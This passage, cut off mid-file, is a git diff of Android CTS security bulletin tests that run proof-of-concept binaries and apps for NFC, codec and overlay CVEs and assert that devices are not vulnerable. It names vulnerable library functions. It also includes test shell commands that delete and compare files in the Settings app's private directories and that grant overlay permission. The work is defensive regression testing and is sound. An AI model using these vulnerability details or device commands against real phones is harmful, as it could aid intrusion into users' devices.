+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2012 extends SecurityTestCase {
+
+ /**
+ * b/120497437
+ * Vulnerability Behaviour: SIGSEGV in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: rw_t3t_update_block (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 120497437)
+ @Test
+ public void testPocCVE_2019_2012() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
+ pocPusher.only64();
+ String signals[] = {CrashUtils.SIGSEGV};
+ String binaryName = "CVE-2019-2012";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(
+ new BacktraceFilterPattern("libnfc-nci", "rw_t3t_update_block"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
new file mode 100644
index 0000000..b7c2ea8
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2017 extends SecurityTestCase {
+
+ /**
+ * b/121035711
+ * Vulnerability Behaviour: SIGABRT in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: rw_t2t_handle_tlv_detect_rsp (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 121035711)
+ @Test
+ public void testPocCVE_2019_2017() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
+ pocPusher.only64();
+ String signals[] = {CrashUtils.SIGABRT};
+ String binaryName = "CVE-2019-2017";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+ "rw_t2t_handle_tlv_detect_rsp"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
new file mode 100644
index 0000000..b65faee
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2020 extends SecurityTestCase {
+
+ /**
+ * b/116788646
+ * Vulnerability Behaviour: SIGSEGV in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: llcp_dlc_proc_rx_pdu (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 116788646)
+ @Test
+ public void testPocCVE_2019_2020() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
+ pocPusher.only64();
+ String signals[] = {CrashUtils.SIGSEGV};
+ String binaryName = "CVE-2019-2020";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+ "llcp_dlc_proc_rx_pdu"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+ testConfig.config.checkMinAddress(false);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
new file mode 100644
index 0000000..21b2285
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2031 extends SecurityTestCase {
+
+ /**
+ * b/120502559
+ * Vulnerability Behaviour: SIGABRT in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: rw_t3t_act_handle_check_ndef_rsp (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 120502559)
+ @Test
+ public void testPocCVE_2019_2031() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
+ pocPusher.only64();
+ String signals[] = {CrashUtils.SIGABRT};
+ String binaryName = "CVE-2019-2031";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+ "rw_t3t_act_handle_check_ndef_rsp"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java
new file mode 100644
index 0000000..3aa0474
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0015 extends StsExtraBusinessLogicHostTestBase {
+
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 139017101)
+ @Test
+ public void testPocCVE_2020_0015() throws Exception {
+ ITestDevice device = getDevice();
+ final String testPkg = "android.security.cts.CVE_2020_0015";
+ uninstallPackage(device, testPkg);
+
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage("CVE-2020-0015.apk");
+ AdbUtils.runCommandLine("pm grant " + testPkg + " android.permission.SYSTEM_ALERT_WINDOW",
+ device);
+ assertTrue(runDeviceTests(testPkg, testPkg + ".DeviceTest", "testOverlayButtonPresence"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
new file mode 100644
index 0000000..6689459
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.compatibility.common.util.CrashUtils;
+
+import java.util.Arrays;
+import java.util.ArrayList;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0034 extends SecurityTestCase {
+
+ /**
+ * b/62458770
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @AsbSecurityTest(cveBugId = 62458770)
+ @Test
+ public void testPocCVE_2020_0034() throws Exception {
+ pocPusher.only32();
+ String binaryName = "CVE-2020-0034";
+ String inputFiles[] = {"cve_2020_0034.ivf"};
+ String signals[] = {CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
index 9573b39..04d65f8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -16,30 +16,40 @@
package android.security.cts;
-import com.android.tradefed.device.ITestDevice;
-import com.android.compatibility.common.util.CrashUtils;
-
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
@RunWith(DeviceJUnit4ClassRunner.class)
public class CVE_2020_0073 extends SecurityTestCase {
/**
* b/147309942
* Vulnerability Behaviour: SIGABRT in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: rw_t2t_handle_tlv_detect_rsp (As per AOSP code)
*/
@Test
@AsbSecurityTest(cveBugId = 147309942)
public void testPocCVE_2020_0073() throws Exception {
AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
String binaryName = "CVE-2020-0073";
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {CrashUtils.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+ "rw_t2t_handle_tlv_detect_rsp"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
similarity index 68%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
index 43a058c..84b45a0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
@@ -1,5 +1,5 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
+/**
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -17,21 +17,22 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_29368 extends SecurityTestCase {
+public class CVE_2020_0458 extends SecurityTestCase {
- /**
- * b/174738029
- *
+ /**
+ * b/160265164
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
*/
- @AsbSecurityTest(cveBugId = 174738029)
+ @AsbSecurityTest(cveBugId = 160265164)
@Test
- public void testPocCVE_2020_29368() throws Exception {
- AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29368", getDevice(),60);
+ public void testPocCVE_2020_0458() throws Exception {
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-0458", getDevice(), 300);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
similarity index 88%
rename from hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
rename to hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
index 43a058c..ed3e846 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
@@ -23,7 +23,7 @@
import static org.junit.Assert.*;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_29368 extends SecurityTestCase {
+public class CVE_2020_29374 extends SecurityTestCase {
/**
* b/174738029
@@ -31,7 +31,7 @@
*/
@AsbSecurityTest(cveBugId = 174738029)
@Test
- public void testPocCVE_2020_29368() throws Exception {
- AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29368", getDevice(),60);
+ public void testPocCVE_2020_29374() throws Exception {
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29374", getDevice(),60);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
index a6ae4f8..4b1bc22 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
@@ -22,7 +22,7 @@
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import org.junit.After;
import org.junit.Assert;
@@ -38,7 +38,7 @@
* collected from the hostside and reported accordingly.
*/
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0305 extends BaseHostJUnit4Test {
+public class CVE_2021_0305 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0305";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0305.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
index af3503c..585d19b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -17,21 +17,40 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
@RunWith(DeviceJUnit4ClassRunner.class)
public class CVE_2021_0430 extends SecurityTestCase {
/**
* b/178725766
* Vulnerability Behaviour: SIGSEGV in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: rw_mfc_handle_read_op (As per AOSP code)
*/
@Test
@AsbSecurityTest(cveBugId = 178725766)
public void testPocCVE_2021_0430() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
- AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0430", null, getDevice());
+ String signals[] = {CrashUtils.SIGSEGV};
+ String binaryName = "CVE-2021-0430";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+ "rw_mfc_handle_read_op"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
deleted file mode 100644
index 5f0c200..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
+++ /dev/null
@@ -1,125 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.AppModeInstant;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-import android.platform.test.annotations.AsbSecurityTest;
-
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import static org.junit.Assert.*;
-import static org.hamcrest.CoreMatchers.*;
-
-/**
- * Test that collects test results from test package android.security.cts.CVE_2021_0481.
- *
- * When this test builds, it also builds a support APK containing
- * {@link android.sample.cts.CVE_2021_0481.SampleDeviceTest}, the results of which are
- * collected from the hostside and reported accordingly.
- */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0481 extends BaseHostJUnit4Test {
- private static final String TEST_PKG = "android.security.cts.CVE_2021_0481";
- private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
- private static final String TEST_APP = "CVE-2021-0481.apk";
-
- private static final String DEVICE_DIR1 = "/data/user_de/0/com.android.settings/shared_prefs/";
- private static final String DEVICE_DIR2 = "/data/user_de/0/com.android.settings/cache/";
-
- //defined originally as
- //private static final String TAKE_PICTURE_FILE_NAME = "TakeEditUserPhoto2.jpg";
- //in com.android.settings.users.EditUserPhotoController class
- private static final String TAKE_PICTURE_FILE_NAME = "TakeEditUserPhoto2.jpg";
- private static final String TEST_FILE_NAME = "cve_2021_0481.txt";
-
- @Before
- public void setUp() throws Exception {
- uninstallPackage(getDevice(), TEST_PKG);
- }
-
- @Test
- @AsbSecurityTest(cveBugId = 172939189)
- @AppModeFull
- public void testRunDeviceTest() throws Exception {
-
- String cmd;
-
- //delete a source file just in case AdbUtils.pushResource()
- //doesn't overwrite existing file
- cmd = "rm " + DEVICE_DIR1 + TEST_FILE_NAME;
- AdbUtils.runCommandLine(cmd, getDevice());
-
- //push the source file to a device
- AdbUtils.pushResource("/" + TEST_FILE_NAME, DEVICE_DIR1 + TEST_FILE_NAME, getDevice());
-
- //delete a destination file which is supposed to be created by a vulnerable device
- //by coping TEST_FILE_NAME -> TAKE_PICTURE_FILE_NAME
- cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME;
- AdbUtils.runCommandLine(cmd, getDevice());
-
- installPackage();
-
- //ensure the screen is woken up.
- //KEYCODE_WAKEUP wakes up the screen
- //KEYCODE_MENU called twice unlocks the screen (if locked)
- //Note: (applies to Android 12 only):
- // KEYCODE_MENU called less than twice doesnot unlock the screen
- // no matter how many times KEYCODE_HOME is called.
- // This is likely a timing issue which has to be investigated further
- getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
- getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
- getDevice().executeShellCommand("input keyevent KEYCODE_HOME");
- getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
-
- //run the test
- Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testUserPhotoSetUp"));
-
- //go to home screen after test
- getDevice().executeShellCommand("input keyevent KEYCODE_HOME");
-
- //Check if TEST_FILE_NAME has been copied by "Evil activity"
- //If the file has been copied then it means the vulnerability is active so the test fails.
- cmd = "cmp -s " + DEVICE_DIR1 + TEST_FILE_NAME + " " +
- DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME + "; echo $?";
- String result = AdbUtils.runCommandLine(cmd, getDevice()).trim();
- CLog.i(cmd + " -->" + result);
-
- //Delete files created by this test
- cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME;
- AdbUtils.runCommandLine(cmd, getDevice());
- cmd = "rm " + DEVICE_DIR1 + TEST_FILE_NAME;
- AdbUtils.runCommandLine(cmd, getDevice());
-
- //final assert
- assertThat(result, not(is("0")));
- }
-
- private void installPackage() throws Exception {
- installPackage(TEST_APP, new String[0]);
- }
-}
-
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
index db0a1b2..30af472 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
@@ -1,4 +1,4 @@
-/**
+/*
* Copyright (C) 2021 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
@@ -16,85 +16,44 @@
package android.security.cts;
+import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Assert;
+import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
-import static org.hamcrest.core.Is.is;
-import static org.junit.Assert.assertThat;
-
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0523 extends SecurityTestCase {
+public class CVE_2021_0523 extends StsExtraBusinessLogicHostTestBase {
+ private static final String TEST_PKG = "android.security.cts.cve_2021_0523";
+ private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ private static final String TEST_APP = "CVE-2021-0523.apk";
- private static void extractInt(String str, int[] displaySize) {
- str = ((str.replaceAll("[^\\d]", " ")).trim()).replaceAll(" +", " ");
- if (str.equals("")) {
- return;
- }
- String s[] = str.split(" ");
- for (int i = 0; i < s.length; ++i) {
- displaySize[i] = Integer.parseInt(s[i]);
- }
+ @Before
+ public void setUp() throws Exception {
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
}
/**
* b/174047492
*/
- @Test
+ @AppModeFull
@AsbSecurityTest(cveBugId = 174047492)
+ @Test
public void testPocCVE_2021_0523() throws Exception {
- final int SLEEP_INTERVAL_MILLISEC = 30 * 1000;
- String apkName = "CVE-2021-0523.apk";
- String appPath = AdbUtils.TMP_PATH + apkName;
- String packageName = "android.security.cts.cve_2021_0523";
- String crashPattern =
- "Device is vulnerable to b/174047492 hence any app with " +
- "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen";
- ITestDevice device = getDevice();
-
- try {
- /* Push the app to /data/local/tmp */
- pocPusher.appendBitness(false);
- pocPusher.pushFile(apkName, appPath);
-
- /* Wake up the screen */
- AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
-
- /* Install the application */
- AdbUtils.runCommandLine("pm install " + appPath, device);
-
- /* Grant "Draw over other apps" permission */
- AdbUtils.runCommandLine(
- "pm grant " + packageName + " android.permission.SYSTEM_ALERT_WINDOW", device);
-
- /* Start the application */
- AdbUtils.runCommandLine("am start -n " + packageName + "/.PocActivity", getDevice());
- Thread.sleep(SLEEP_INTERVAL_MILLISEC);
-
- /* Get screen width and height */
- int[] displaySize = new int[2];
- extractInt(AdbUtils.runCommandLine("wm size", device), displaySize);
- int width = displaySize[0];
